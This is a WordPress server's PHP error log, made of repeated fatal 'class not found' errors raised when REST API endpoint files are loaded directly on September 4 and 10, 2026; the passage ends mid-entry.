"WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [04-Sep-2026 18:46:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [04-Sep-2026 18:46:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [04-Sep-2026 18:46:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [04-Sep-2026 18:46:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [04-Sep-2026 18:47:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [04-Sep-2026 18:47:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [04-Sep-2026 18:48:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [04-Sep-2026 18:48:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [04-Sep-2026 18:48:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [04-Sep-2026 18:48:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [04-Sep-2026 18:48:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [04-Sep-2026 18:49:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [04-Sep-2026 18:50:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [10-Sep-2026 09:57:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [10-Sep-2026 09:57:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [10-Sep-2026 09:57:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [10-Sep-2026 09:57:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [10-Sep-2026 09:58:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [10-Sep-2026 09:58:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [10-Sep-2026 09:59:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [10-Sep-2026 10:00:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [10-Sep-2026 10:01:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [10-Sep-2026 10:01:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [10-Sep-2026 10:02:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [10-Sep-2026 10:02:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [10-Sep-2026 10:02:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [10-Sep-2026 10:03:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [10-Sep-2026 10:19:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [10-Sep-2026 10:19:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [10-Sep-2026 10:19:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [10-Sep-2026 10:19:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [10-Sep-2026 10:19:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [10-Sep-2026 10:19:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [10-Sep-2026 10:19:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [10-Sep-2026 10:19:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [10-Sep-2026 10:19:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [10-Sep-2026 10:19:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [10-Sep-2026 10:20:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [10-Sep-2026 10:20:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [10-Sep-2026 10:20:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [10-Sep-2026 10:20:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [10-Sep-2026 10:20:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [10-Sep-2026 10:21:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [10-Sep-2026 10:21:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [10-Sep-2026 10:21:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [10-Sep-2026 10:21:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [10-Sep-2026 10:22:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [10-Sep-2026 10:22:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [10-Sep-2026 10:22:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [10-Sep-2026 10:23:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [10-Sep-2026 10:23:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [10-Sep-2026 10:24:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [10-Sep-2026 10:25:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [10-Sep-2026 10:26:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [10-Sep-2026 10:28:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [10-Sep-2026 10:53:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [10-Sep-2026 11:05:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [10-Sep-2026 11:07:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [10-Sep-2026 11:26:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [10-Sep-2026 13:35:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [10-Sep-2026 13:36:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [10-Sep-2026 13:36:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [10-Sep-2026 13:36:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [10-Sep-2026 13:36:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [10-Sep-2026 13:36:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [10-Sep-2026 13:36:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [10-Sep-2026 13:37:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [10-Sep-2026 13:37:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [10-Sep-2026 13:37:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [10-Sep-2026 13:37:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [10-Sep-2026 13:37:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [10-Sep-2026 13:38:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [10-Sep-2026 13:38:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [10-Sep-2026 13:39:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [10-Sep-2026 13:39:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [10-Sep-2026 13:39:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [10-Sep-2026 13:39:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [10-Sep-2026 13:40:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [10-Sep-2026 13:40:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [10-Sep-2026 13:40:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [10-Sep-2026 13:40:57 UTC] PHP Fatal error: Uncaught Error: Class 